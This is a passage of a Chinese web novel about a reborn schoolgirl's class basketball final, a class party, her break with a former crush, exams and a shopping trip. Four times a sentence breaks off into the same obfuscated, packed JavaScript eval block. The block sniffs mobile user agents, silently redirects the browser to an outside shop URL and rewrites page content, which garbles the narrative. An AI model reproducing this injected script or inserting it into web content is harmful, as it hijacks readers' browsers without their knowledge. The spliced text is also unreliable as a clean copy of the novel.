程茉对此并不赞同：“哪有这种肯定啊，运气也是实力，稳定更难得呢。” “是是是，程茉你说得都对。反正我要抱紧你的大腿，一起进步往前冲呀！”周若玥拉着程茉的胳膊，穿过人潮加速往前跑去。 下午数学课，黄仁高兴地宣布了七班本次月考总分排名全年级第一的好消息，平均分超过了八班整整三分，引起了大家的一阵欢呼。 黄仁抬手让所有人安静下来，大声地说道：“好了！你们已经用成绩证明了七班的实力，明天下午的篮球决赛，也希望你们继续用响亮的加油声为我们的队伍助威打气，再次证明七班的团结和士气，能不能做到？” “能！”回答他的是一遍遍响亮而整齐的高呼。 决赛对战的是701班，赢了的班级就是季军，输了就是第四名。 程茉站在七班观战的队伍里，随着人群专注地看着前方的球场。 身边的同学三三两两拉着手，随着每一个进球欢呼跳跃。而作为文艺委员的陈晓萱则时不时领着大家齐声高喊一句“七班加油！七班最强！”。 声音大得就连对面一班不少人的目光都被吸引了过来。 “你们班挺团结的啊？”701班的班主任曾如龙站在黄仁身边，笑着调侃了一句，“这加油的劲儿，不知道的还以为是NBA现场呢。” “唉，我们班这群小崽子就是太好胜了，劝也劝不动啊！学习上也是，非要拿第一才行。” 黄仁呲着他的大牙慢慢悠悠地叹气，那副得意的样子气得曾如龙用力拍了一把他肩膀。 比赛进行得很顺利，与场下同学打了鸡血一般的响亮而整齐的加油声如出一辙的是，场上五位队员的强势进攻和默契配合。半场下来，比分已经超了一班快十分了，结果基本上已经没有悬念。 程茉看了一眼走下场休息的本班队员，目光落在队伍最后李颂有些不自然的脚步上。 “梁晴，你看下半场要不要换替补队员上，我估计李颂的腿还没完全好。”程茉皱着眉拉住梁晴，小声说道。 梁晴愣了下：“啊？我都没注意到，他刚刚还打得那么猛，我去看看。”说完就立马小跑着到了队员休息处。 “程茉，我有点口渴了，趁现在还没开始，你陪我去趟小卖部买瓶水吧好不好？”一旁的方慧慧晃了晃程茉的手，央求道。 见梁晴已经去处理了，程茉也没什么可担心的，便点头同意了。两人和身边的同学说了一声让帮忙留好位置，就往小卖部去了。 而球场边，李颂和梁晴还在为要不要换人而僵持。 “我没事。你刚刚也看到了，我不是打得挺好的吗？”李颂擦了擦汗，眼睛盯着地面闷闷不乐。 梁晴看了眼他被长长的裤腿盖住的膝盖，说；“那你就让大家看看伤口恢复得怎么样。” 听到这话，李颂又不出声了，只沉默地低着头一圈一圈绕着手里的毛巾。 “李颂，你就让我们看一眼吧，没事的话大家接下来也能打得放心。”孟宏宇走上前拍了下他的肩。 李颂抬起头，对上所有人看着自己关切的眼神，叹了口气撩开了裤腿。上面最大的一块擦伤上刚结好的痂不知何时被蹭掉了，此时正往外渗着血。 “哼，就知道逞强，要不是程茉提醒，我都要被你骗过去了，怎么，打算一打完比赛就又去医院啊？”梁晴被气笑了，顿了顿又放柔语气劝道：“你也不用担心，现在比分这么好，就算换人也不会输的。” “对啊，李颂，你就交给我吧，这次绝对不会拖大家后腿的。”准备好一雪前耻的替补队员杨文涛也赶紧接话。 李颂却仿佛没听到般，只快速地侧头往球场边的人群望了一眼，而后又失望地垂下了双眸，低声道：“那就换人吧。” 等程茉回来，下半场比赛已经开始了。两人赶紧挤进队伍，程茉快速扫视了眼球场，发现了人员变动。 “梁晴，我刚刚顺路去医务室找吴老师要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586804|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点棉球和创口贴，你看看用得着不？”程茉将手里的东西递给一旁的梁晴。 “哎呀，小茉你可真细心，谢啦，我拿去给李颂。”梁晴赶紧拿着东西出去了。 程茉便安心继续看起球赛来。换人之后，七班的进攻明显慢了一些，但受前半场的士气影响，依然压制得一班毫无还手之力，场下的欢呼声和加油声也就更加疯狂了。 随着体育老师的一声哨响，这场比赛终于落下了帷幕，七班最终以领先12分的绝对优势夺得了季军。 程茉被方慧慧陈晓萱几人抱住疯狂摇晃，耳边是有些刺耳的尖叫和欢呼，她努力想要挣脱出来，嘴角却跟着高高上扬着。 球场上，孟宏宇将李颂和另一位没上场的替补队员一起拉了上去，几个人双手搭在彼此的肩上围成了一圈，疯狂地蹦着跳着喊着。 胜利的喜悦是少年人脸上最耀眼的装饰，直到回到灰扑扑的教室也依然熠熠生辉。 黄仁站在讲台上，看着底下的一张张笑脸，也乐得不行。他清了清嗓子让大家静下来，而后宣布：“为了庆祝我们班月考第一，篮球赛第三，明天最后一节自修课改为班队活动，并且这周末没有数学作业！” 顿时，新一轮的欢呼再次响了起来，仿佛要将天花板都掀翻。 “陈晓萱，你简单安排一下明天下午班队课的活动，比如说大家一起唱唱歌啊或者表演几个小节目啊。”黄仁走到陈晓萱旁边给她交代了个任务，又转头对生活委员郑齐阳说：“你等会早点吃过晚饭跟我出去买点瓜子零食。” “天哪，班主任今天真是转性了。”听到这些安排的周若玥忍不住小声感叹道。 程茉笑了笑，脑海里忍不住开始回忆，前世好像确实没怎么见过黄仁这么大方，不过，前世她们班也没有拿过年级第一，篮球赛更是最后一名来着。 原来这一次竟然已经有了如此大的变化了吗？ 程茉的心里不禁涌上了一股难得的喜悦和轻松。 “程茉。” 身后传来梁晴的小声呼唤，程茉转头，就见她迅速塞过来一张小纸条。 程茉疑惑地打开，是一张漂亮的便签纸，上面依然是那行熟悉的有些难看的小字：【谢谢你帮我拿了创口贴。】 程茉直接在下面写了两个字【没事】，就要把纸条传回去，想了想又在后面加了一句【祝早日康复】。 从梁晴那里接过纸条的李颂，却看着上面那行工整漂亮的字发起了呆。他第一次打心底里觉得，自己的字丑得有些难以入目。 “孟宏宇，你们写字好看的都有啥秘诀啊？”李颂扒拉了一下正认真算题的同桌，盯着他草稿本上那飘逸的算式小声问道。 “天生的。”孟宏宇无语地看了他一眼，没好气道，“你要闲着没事干，就买本字帖回来好好练，说不定还有救。” “哦，好吧。” 并不知道自己嫌弃的字在别人眼里竟然算是好看的程茉回到家打开电脑，就收到了一封来自编辑的意外惊喜。 23. 第 23 章 程茉点开后台是为了检查一下存稿数量，看看什么时候完结，结果就看到了一直闪烁的站短提示。 点看一看，是编辑发来的，提醒她有人咨询版权相关，让程茉回复Q/Q消息细聊。 程茉又登上Q/Q，果然跳出了一堆新消息。她滑到最上面一条条读下来，终于弄清楚了来龙去脉，随之而来的就是难以抑制的欣喜。 编辑跟程茉说有家公司有意向买她作品的影视版权，问她是否愿意售卖，以及有什么要求，什么时候方便见面详谈。 因为前世那次仓促又无疾而终的写文体验，程茉对自己的第一个作品其实并没有报太高的期望，只是想着能借时代浪潮吃点红利就很不错了。 但直到此时才认真查看后台数据及评论区的程茉，也就错过了亲眼见证自己的作品一步步扶摇直上的机会。 程茉不可置信地又看了眼收藏区的数字，竟然已经有了六万多的收藏，下面的评论区也很热闹。 故事已经接近尾声，读者们有不少在嗷嗷叫着不要这么快完结，要么就是希望程茉能够多更些番外。 程茉大致浏览了一下大家的留言，估摸着这本书下周就能完结，正好过两天周末可以再码几章番外，于是在新章节末尾放了个完结和番外的预告便又退出去了。 打开编辑的对话框，程茉跟她说明了自己同意售卖版权，但要等七月份才有时间面谈，并问了下面谈地点能不能定在H省。 对面很快就发来了回复，同意了程茉关于见面时间和地点的要求，又问了几个下本书的相关问题，程茉也一一回答了。 结束对话后，程茉感觉胸腔里仿佛有一团燃烧的火，让她很想找人说些什么。无奈身边并无人可以分享，和姐姐的对话框依然停留在她最后发过去的那条消息上，估计程兰那边是有事在忙。 程茉站起身，走到一旁认真写作业的程莉身后，伸出手用力揉了揉她的脸，还用怪声怪气地语调念着：“是谁的妹妹这么乖呀？” 小脸被揉搓得有些扭曲的程莉回头看向程茉，眼里满是无语。 这份快乐一直持续到了第二天早上，连走进校门的时候程茉的脸上都不自觉挂着一个明媚的笑容，并收获了门口值日老师的一个欣慰点头。 不过等程茉进入班级，这点快乐就并不显眼了。因为七班整个教室都洋溢着一种轻快的喜悦，所有人都满心期待着下午的班队课和即将到来的难得的一个没有数学作业的周末。 以至于第六节课还没下课，班级里就已经窸窸窣窣地躁动起来了。好在这节课是美术课，美术老师丁若婷是个年轻的女老师，脾气温和也没什么要求，也就对此睁一只眼闭一只眼。 下课铃声一响，班主任黄仁便搬着他那台锃亮的笔记本电脑走进了教室。黄仁指使前排的赵勇用抹布将讲台仔仔细细地擦了一遍，才小心翼翼地将电脑放上去插好电开机。 随后，黄仁在教室里的课桌上逡巡了一番，走到一个男生面前拿走了他桌上橙色的空塑料水瓶，又叫郑齐阳去办公室，把买好的瓜子零食拎进来分发了下去。 “陈晓萱，东西我都准备好了，你来主持吧。这节课就一个目的，大家玩得开心！”黄仁大声说完这句，就走去了教室后面。 在大家热烈的掌声里，陈晓萱走上了讲台，开始宣读规则：“今天的游戏大家都很熟悉啊，就是击鼓传花。等会我会放一首歌，音乐暂停的时候这个水瓶传到谁那里，谁就上讲台表演一个节目，什么形式都可以哈！” 随后，陈晓萱点开了电脑桌面上的千千静听，音乐声响起，水瓶从第一排第一位同学手上开始往后面传。顿时大家手上的零食也不香了，都警惕地盯着前方水瓶的移动，还时不时分神，看一眼一旁摁着电脑鼠标的陈晓萱。 陈晓萱背对着所有人，鼠标点得不亦乐乎，水瓶在一二两组都停了一次，被选中的同学在大家的掌声和起哄声中表演了节目。两人都选择了唱歌，毕竟此时镇上屈指可数的培训班除了英语辅导机构就只有一家教跳舞的，但生意寥寥。 第一个上台的是一个男生，有些腼腆，唱歌时声音小得几乎听不见。但好在紧跟他后面的杨琳大大方方地唱了一首《棉花糖》，把气氛又带了起来。 橙色水瓶随着背景音乐的节奏声继续飞快传递着，很快就到了程茉这一小组。程茉侧着身子，一只手放在梁晴的桌子上，飞速地接过水瓶，又赶紧转身递给前面的徐逸。 就在徐逸手碰到水瓶的瞬间，欢快的音乐声戛然而止。 “到谁手里了到谁手里了？”后排的同学急忙问道，有几个已经站了起来，伸长脖子往前张望着。 “好像是程茉诶又好像是徐逸……” 程茉立刻松了手，但有几位看热闹事大的同学却开始起哄：“那就一起表演！一起！一起！” “对呀，我看得清清楚楚，音乐停的时候他们两个都拿着瓶子呢！”杨琳站在座位上，大声喊道，一旁她的同桌应欢也赶紧跟上：“缘分啊！合唱一个吧！” 程茉抬头想要拒绝，却看到徐逸仍维持着刚刚的动作，轻声对她说：“要不唱一首《栀子花开》？” 《栀子花开》是程茉初中时代很喜欢的一首歌，每换一个歌词本抄的第一首歌一定是它。 另一方面，它也是程茉和徐逸的共同回忆。 是程茉送过徐逸的那张精心誊抄手绘插图的歌词纸，是初中毕业晚会她全程对着他的手机镜头唱过的那首歌，更是那层窗户纸被捅破两人关系从单向变双向的契机。 程茉想起了高中毕业那年的暑假，就在她打算为这段暗恋画下句点时，这首歌的同名电影上映了，而她收到了徐逸的邀约。 那是她人生中第一次进电影院看电影，也是和徐逸一起看的唯一一部电影。 可惜，电影的质量没能对得起程茉的欣喜与期待，一如他们两个后来的关系。 “你先去，等会我自己上。”程茉摇头，刻意提高了些声音，让所有人听得清清楚楚。 已经转过来的陈晓萱看了眼他们两个，连忙一锤定音：“这样好，可以听两首呢！那就徐逸先来吧！” 徐逸走上了讲台，还是唱出了那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593890|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首熟悉的旋律，清亮柔和的嗓音与歌曲很是契合。 教室里安静了下来，程茉察觉到有不少人的目光悄悄地掠过自己的脸庞。 有人握住了程茉的手，她转头看去，对上了林然然的笑脸. “你打算等会唱什么？” 程茉回了她一个微笑，想了想轻声说：“ProudofYou，《挥着翅膀的女孩》英文版。” 这首歌是大学时程茉她们班级参加合唱比赛时选的歌，当时高强度连续练了一个多月，不管是歌词还是旋律，程茉都很熟悉。 讲台上的徐逸结束了最后一段副歌，在热烈的掌声不约而同响起时，他又一次望了眼前方，却还是没能捕捉到那双亮晶晶的，诚挚的，令曾经的他总忍不住想要避开的眼睛。 程茉起身走上了讲台，缓缓地扫过那一双双带着期待与鼓励的澄澈眼睛，轻轻地哼唱响起： “Loveinyoureyes/ Sittingsilentbymyside/ Goingonholdinghands/ Walkingthroughthenights……” “竟然是英文歌诶！”方慧慧小声地对梁晴感叹道。 “好好听……我以后再也不骂英语难了。”梁晴盯着讲台上的程茉有些出神，“好可惜，没有相机，不然把这一幕录下来多美啊。” 前方的林然然听到忍不住应了一句：“是啊。” 程茉的嗓音就和她的人一样，淡淡的带着些空灵感，即便无法完全听懂歌词，也忍不住沉浸其中。林然然手随着旋律轻轻敲打着凳子，心里想着等回去就要把这首歌找出来下载到MP3里面。 最后一句结束，程茉正要走下讲台，下面有人喊了句：“程茉，歌名写一下吧！” 程茉收回脚步，拿起粉笔在黑板上写下了歌曲的名字，又简单介绍了下它的中文版本。 水瓶继续往后传着，气氛依然热烈，程茉却有些心不在焉。 程茉的目光落在了前方挺直的背影上，没有聚焦的瞳孔里一片模糊。她当然察觉到了徐逸态度的转变，毕竟，他前世一向都是不拒绝但也不主动的。 正想着，眼前模糊一片的人影动了起来，程茉定神，看到徐逸伸过来的手将一张纸条快速地放在了自己的课桌上。 林然然和周若玥不约而同地看了程茉一眼，又立刻移开目光继续盯着那抹移动的橙色。 程茉打开纸条，看到了上面的句子： 【我是不是有什么地方做得不好？怎么最近对我这么……】 不知为何，程茉刚刚那点莫名其妙的思绪就忽然烟消云散了，她轻笑了下，快速写下： 【今天正好值日，有什么想问的等打扫卫生时再说。】 纸条没再传来，热闹欢快的游戏也随着放学铃响起在大家的意犹未尽中结束了。 “程茉，拜拜，下周见！” 与几位好友一一道别后，程茉和第四小组的同学一起拿着扫把去楼下卫生包干区开始扫地。 24. 第 24 章 “李颂，你东西不拿了啊？”刘建叫住没背书包就往门口走的人。 “啊？我先不回去，我去帮孟宏宇一起扫地，等会我们两一起走。”李颂摸了摸鼻子，解释道。 前方正一手拿着大扫把一手挽着程茉的梁晴转头笑道：“哟，这么讲义气啊？” 李颂只嘿嘿笑了下，快步跑上前去揽住了孟宏宇的肩膀。 “梁晴，等会我和徐逸去倒垃圾。”程茉偏头看向梁晴，小声说道。 梁晴眨了眨眼睛：“行。” 今天没下雨，包干区没多少落叶和垃圾，几个人很快就完成了打扫。 身为小组长的梁晴抹了一把黏在额头上的发丝，开始指挥：“徐逸你和程茉去倒垃圾吧，其他人把工具拿回教室就可以回去了。” 听到这个安排，几人有些奇怪地互相看了一眼，却没多说什么，收拾了工具就要离开。 只有李颂看着梁晴期期艾艾地开口：“要不我去吧，反正我也没事。” “你去干嘛，你都来免费帮忙打扫了，怎么还能让你去倒垃圾呢。”梁晴摆了摆手干脆拒绝。 程茉和徐逸已经提起大大的垃圾桶往垃圾站的方向走去。 “走吧。”孟宏宇拍了下站在那望着前方不动的李颂，接过他手里的撮箕。 “哦。”李颂收回视线，脚步和声音一样，变得有些沉重。 明明刚刚班队课听到程茉拒绝合唱时，李颂心里那点隐秘的希望还很是膨胀了一把来着，此时再想起那两个并肩而行的身影，就又骤然被戳破瘪成了一团。 他又想起两人分别站在讲台上唱歌的样子，一样的自信又光芒万丈，这下心底那小小的一团希望又往角落缩了缩，彻底藏了起来。 “你想问什么就问吧。” 程茉见徐逸只抬着垃圾桶沉默地往前，便主动开了口。 好一会儿，徐逸的声音才断断续续地传过来：“我知道我之前对你……做得不太好，对不起。我当时只是想着，我们还太小，应该以学习为重……” “不用道歉，你说得没错，我们要以学习为重。”程茉看着他，“所以现在这样不是很好吗？” 徐逸对上那双熟悉的眼睛，却发现自己还是忍不住想要避开。那里没有了亮得灼热的欣赏，却多出了一点仿佛令人无所遁形的清冷的审视。 “我……我只是希望，我们还可以是朋友。” 程茉笑了下：“朋友？我们从来都算不上是朋友。徐逸，或许从前我给你带来了一些困扰，对此我很抱歉，但以后都不会了。也希望我们都能往前看，好好学习。” 垃圾站就在面前，程茉伸手拿过垃圾桶另一边，利落地将里面的树枝落叶倒掉，提着空桶往回走。 清理掉垃圾的桶很轻，一只手就能轻松提起，程茉没有管自顾自站在那里的徐逸，感觉自己的心仿佛也跟着被拂去了一块堆积已久的尘埃。 分手之后的程茉无数次想过，如果那年她没有答应去看那部电影；如果在徐逸开始他长达整个暑假的若即若离忽冷忽热的一开始，她就能狠心拉黑他；如果在大学开学后他主动找她希望能继续做朋友时，她直接拒绝，是不是，这段青涩的暗恋仍能保留住那份独属于她自己的美好。 幸运的是，现在，程茉有了更早更大的如果。 周末两天，程茉效率极高地完成了四章小说番外，又刷了两张数学和物理试卷，并跟姐姐大致商量了下版权相关事项，两人说好了等七月份一领完通知书程茉就过去省城。 在紧张而有条不紊地复习中，六月的后半个月过得很快。即将要面临初中阶段第一次全市统考，七班的老师和同学们都如被绷紧了的弦一般，一刻也不放松。 程茉也是半点不敢懈怠，正好小说存稿已经全部完成，她又暂停了短篇写作，全身心地沉浸在听课刷题订正总结的循环中。 周围的同学每每学累了写累了一抬头，就能看到程茉依然聚精会神的专注模样，顿时什么疲惫放松都烟消云散了，只剩下紧迫感如利刃一般悬在头顶，逼着他们又埋头继续学习起来。 可惜他们现在还不知道何谓“卷王”，不然一定会恨不得把这个词挂在程茉头上。 与学生们学得满身怨气不同的是，七班的任课教师们却是难得的轻松。 “老黄，你们班这段时间学习状态很不错啊，估计这次期末又要大丰收喽！”刚给学生复习完语文回到办公室的朱建华，就忍不住乐悠悠地对黄仁感叹。 “哈哈，是吧，所以说有一个尖子生带着就是省心啊。”黄仁一边在纸上列着几道重点复习题，一边大笑着回答。 听到这话，江倩放下手里的小测成绩单，也忍不住接道：“我刚对比了下，我们七班这英语与开学初比起来，优秀和及格人数都多了好几个呢，真是神了。以前都最不爱读英语的，现在早读声音都响亮的不行，看来树立程茉这个榜样是真有效。” “小江你都不知道，上次程茉唱了首英文歌，好听着呢。这不，一个个的都抄了歌词要学呢。” 听到黄仁的分享，江倩来了兴趣：“还有这事啊，那我下学期得把我的录音机带来，上课前也给他们放点英文歌熏陶熏陶。” “说起来，程茉这小姑娘真是难得的够踏实，还一点都不偏科。”王鹏程一边喝着茶一边翻着地理书接了一句，又对着前排的邓强笑眯眯地问：“是吧，老邓？” 邓强这几个月已经听办公室几位同事夸程茉听出耳朵茧来了，此时倒也面不改色地回话：“是挺好的，希望下学期加上物理后她还能继续保持吧。” “也对，初二是个分水岭，估计好多小姑娘要跟不上的。”王鹏程摇了摇头放下了手里的书。 “哎呀，先别管以后了，先把这次考试考好再说，这两天早晚复习还要多辛苦各位了啊。”黄仁理好手里的草稿纸站起身，“有人一起去监考吗？” 江倩连忙也站了起来：“我也监这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604250|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场，一起过去吧。” 要监考的老师们陆陆续续往教务处去领取试卷，学生们也已经收拾好物品分别走进了自己的考场。 程茉这次所在的考场是701班，第一列第二个位置，坐她前面的正是邓云英。 监考老师还没来，除了个别人在小声地交头接耳，教室里的大部分学生都拿着语文课本安静翻阅着，做着最后的努力。 程茉看了眼前方正认真看书的身影，也拿出课本翻到古诗词和文言文部分一字一句地仔仔细细又过了一遍。 “好了，现在把相关资料都放到外面去，准备考试。” 监考老师的声音响起，程茉随着人群一起走出教室放好东西。 或许是因为全市统考，这次的试卷是光滑的雪白纸张，程茉先翻面仔细了整张试卷，才对着题目一道道思考起来。 开考铃响，程茉立刻拿起笔刷刷刷写好了前面几道选择题的答案。 刚做了四分之一左右，程茉便明显感觉到这次的题目比以往学校内的考试都要灵活许多，对于她们这种乡镇学校没有做过多少练习的学生来说，也就难了许多。 程茉放慢了速度，确保自己的思考足够全面细致，一边耐心地将答案一笔一划地写上去。 等程茉写完作文，看了眼黑板上方的钟表，发现已经过去了快一个小时，果然比她以往慢了不少。学校并没有规定不能提前交卷，但程茉还是选择坐在位置上仔仔细细又检查了几遍。 后面几场考试也是一样，程茉都耐心地在教室里坐着检查，直到考试结束的铃声响起。除了英语实在没什么可检查的了，程茉在草稿纸上写了半个多小时的小说细纲。 最后一场考完，所有人又回到了自己的教室，领取了暑假作业打扫完卫生之后，就可以回家过暑假了。 当然，七月四号还要来学校一趟领取通知书。 “茉茉，你暑假有什么安排吗？要不要来我家玩两天？”陈晓萱一边收拾书包一边朝程茉问道。 程茉摇了摇头：“我得去省城找我姐姐。” “那明天呢，我们明天去逛街好不好，听说镇上又开了一家新的精品店。”陈晓萱不死心地继续道。 想了想明天也没什么要紧事，程茉便答应了下来。正好妈妈和姐姐的生日快到了，可以顺便去给她们挑个礼物。 “那我也要去。”夹在两人中间听完全程的林然然默默举起了手。 一旁的周若玥也赶紧跟上：“再加我一个吧！” 于是四人小分队便约定好了第二天下午一点半在商场门口汇合。 要不是后面的梁晴和方慧慧在班主任宣布放学的那一刻就已经迫不及待地跑了出去，估计队伍还能继续壮大。 “拜拜，明天见！” 女孩们欢快地挥手道别，便各自回家了。 六月底的天空即便是下午五点也依然蓝的澄澈，程茉手里拎着重重的一袋书，脚步却很是轻快。 25. 第 25 章 二十五 吃过晚饭，程茉先从学校带回来的课本物品等分类整理好，暂时不用的都堆到楼梯下的柜子里，暑假需要完成的作业、复习预习等要用的资料则放进书桌的抽屉。 这张书桌是实木的，又大又重，用料很是实在，还是当年苏萍和程林生结婚时打的。也是他们两个东躲西藏生孩子那几年，为数不多幸存下来的家具之一了。 程茉又去枕头下翻出自己的小钱包，数了数这段时间攒下来的稿费，已经有2600多了。拿过桌上刚刚从抽屉里翻出来的一个小本子，程茉开始规划起这笔钱的分配来。 姐姐的网店刚在起步期，估计正是用钱的地方，程茉留出一千放在一边，准备过几天直接带去省城给她。 给妈妈和姐姐的生日礼物各准备一百左右，再留一百给程莉买点英语资料，她下半年升三年级要开始学英语了。想到自己那连二十六个字母都没学好光顾着给课本上的小人“改装”的小学英语课，程茉觉得还是得早做准备。 对了，不能忘记给自己再买几套试卷，两个月的暑假可以刷不少题了。 又想到越来越炎热的天气和家里那唯一一台吱吱呀呀的电风扇，程茉再分出两百来准备给家里添置一些物品顺便改善一下伙食。 剩下的一千可以就留作备用好了。 看着本子上清晰的规划，程茉满意地又将钱分类收进钱包。 或许是因为学期结束的轻松，第二天程茉难得地睡了一个懒觉。等她趿拉着凉拖走到客厅发现时钟已经指向十点时，还愣了好一会。 这个点父母都早已出去上工，程莉也不在家，估计是出去和小伙伴疯玩了。 走到饭桌前，程茉看到镂空的铝制菜罩子下面放着一小碟咸豆角和一碗粥，旁边还压着一张纸条。 “小茉：起来后记得吃早饭，冰箱里有肉，中午你和小莉炒个肉丝再煮个丝瓜汤。” 是苏萍的字，熟悉的飘逸而不失风骨的漂亮。 程茉记得前世自己还感叹了好几次，为啥母亲只念了几年书却写得一手好字，自己却怎么写都最多做到工整，没有那种一看就是大人的字的感觉。 洗漱完，程茉坐在餐桌前慢悠悠地吃着早餐，眼睛盯着窗外河对面绿意盎然的小洲发呆。 程茉忽然意识到，自己重生回来已经三个月了。 而今天是头一回，这样慢慢地安静地吃上一顿饭。 “二姐，你才起床啊？”程莉噔噔噔地跑了上来，额头上还闪着汗珠。 程茉转头看了她一眼，喝完最后一口粥，问：“去哪玩了，一大早一头的汗？” “我去和冬梅春梅她们扔沙包了！”程莉走到水桶前，舀了一勺水喝了好几大口，又接着抱怨，“还有王琴的弟弟王小毛，你不知道他有多脏，把鼻涕全抹到沙包上了，吓得我赶紧回来了，再也不要和他一起玩了。” 一连串有些熟悉的名字让程茉想了好一会儿，才把它们与记忆里的那几张脸庞对应起来。 江口村离镇上近，是个挺大的村，村里王姓居多，程莉口中的几个小孩都算是她们家的邻居，其中王琴就住在她们家对面。 这几人里，程茉也对王琴印象最深，毕竟她们年龄相仿。至于冬梅春梅，程茉更熟悉她们各自的姐姐，小的时候，程茉也是和她们一起玩过的。 后来呢，一方面程茉更喜欢待在家里看书，另一方面，是程林生不让她们出去和村里的小孩玩。 再大一些，等程茉上高中了，每次月假回来就开始陆陆续续地从母亲口里听说，她们几个谁谁谁结婚了，谁谁谁生小孩了。 直到程茉工作后，每回跟母亲打电话被催婚都还能听到她们几个的名字，诸如人家王琴儿子都生三个了，在家里除了带小孩啥也不用操心，现在看起来还和小姑娘一样。 程茉起身将碗筷拿到厨房冲洗，一边对程莉说：“下午我要和同学去镇上逛街，你要待在家里还是跟我一起？” “我可以一起去吗？”程莉立马跑到她身边，仰起的小脸上满是期待。 “嗯，表现好的话还能请你吃东西。” 听到这话，程莉又激动地跑去卧室，一边喊着：“好耶！我要去换我那条黄色的裙子，二姐你可以帮我梳个辫子吗？” 于是姐妹两个吃过午饭，收拾好卫生之后，就一起出门了。 下午一两点的太阳很晒，街上走动的人并不多。程茉撑着一把伞拉着程莉走到那家唯一的商场门口时，陈晓萱和林然然已经在等着了。 “哇，小莉莉也来了呀！”陈晓萱看到她们两个，立马高兴地走上前去。 程茉又跟林然然介绍了一下程莉，程莉都乖乖地叫了姐姐好，又收获了两个怪姐姐的揉脸疼爱。 几人刚聊了两三句，周若玥也到了。 “这天也太热了。”周若玥收起伞，抹了一把汗，“我们先去买杯奶茶吧？” 林然然看了一眼其他几人，接道：“好啊，我请你们喝吧。” “那可不行。”程茉笑着将程莉拉到身前，“我出门前答应了要请我妹妹吃好吃的，不能让你抢了。” 陈晓萱跟着抗议：“是啊是啊，然然你别想抢在我们前面收买小莉莉哦。” 林然然便也笑了，不再坚持。 商场门口就有一家奶茶店，但和后来的品牌连锁店完全没得比。招牌上印着有些花里胡哨但意义不明的英文字母，店面只有小小的一个单间，除了操作台就是侧边墙上嵌着的一块长条木板和几条高脚凳。 奶茶品类也少得可怜。陈晓萱几个都点了珍珠奶茶，程茉问了程莉后也给她点了一杯，自己则只要了一杯橙汁，准确地说是不知名橙汁味冲剂，毕竟店里连一个真水果也没有。 “啊，要是每天都能喝一杯奶茶就好了！”陈晓萱大吸了一口奶茶，感叹道。 安静走在姐姐身后的程莉跟着狠狠点头。 程茉喝了一口手里的橙色饮料，被甜得皱了下眉，回了句：“等你长大后就可以了。” “唉，什么时候才能长大呢？”陈晓萱叹了口气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617948|186549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看了眼商场大楼的蓝色玻璃，反射的阳光让她忍不住眯了眯眼睛，“真想快点出去看看啊。” 程茉失笑，低头不语。 “现在也挺好的啊，毕竟等长大了我们说不定就很难再聚在一起了。”林然然轻轻接道。 周若玥顿时停住了脚步，看着大家坚定地说：“那不行，不管以后我们去哪里，都要当一辈子的好朋友！” “对！我回去就建个班级群。”陈晓萱兴致勃勃地恨不得马上开始操作，“这样就算分开了大家也可以联系上随时再聚！” 程茉听着她们兴奋地左一嘴右一嘴地说着以后，眼里的那点感伤又被笑意覆盖。 “看，就是这家，新开的！”陈晓萱指着路边一家与周围装修格格不入的店铺喊道，“里面的东西可漂亮可多了！” 店铺还不小，虽然只有一间店面，但望进去里面很深，门口挂着亮闪闪的招牌。 几人走了进去，店里摆放着好几个透明的玻璃货柜，两边墙上都装着镜子，加上琳琅满目的货品，整个店铺都显得明亮而精致。 进门的货柜里摆放的都是饰品，各色各样的头绳发卡，迷得程莉直接走不动道了。 “姐，这些都好好看！”程莉指着货柜一角小声地惊叹道。 程茉望去，里面全是各种造型的水晶发卡。她的目光很快定在一枚小小的粉色水晶皇冠发卡上，那是她曾经很长一段时间都梦想收到的礼物。 “喜欢这个吗？要试一下不？” 耳边响起了一声温柔的询问，程茉抬头，看见了穿着镶满亮片的斜肩短袖和牛仔裙的老板。 年轻的女人朝她笑了笑，用涂着黑色指甲油的手打开货柜，拿出了那枚发卡。 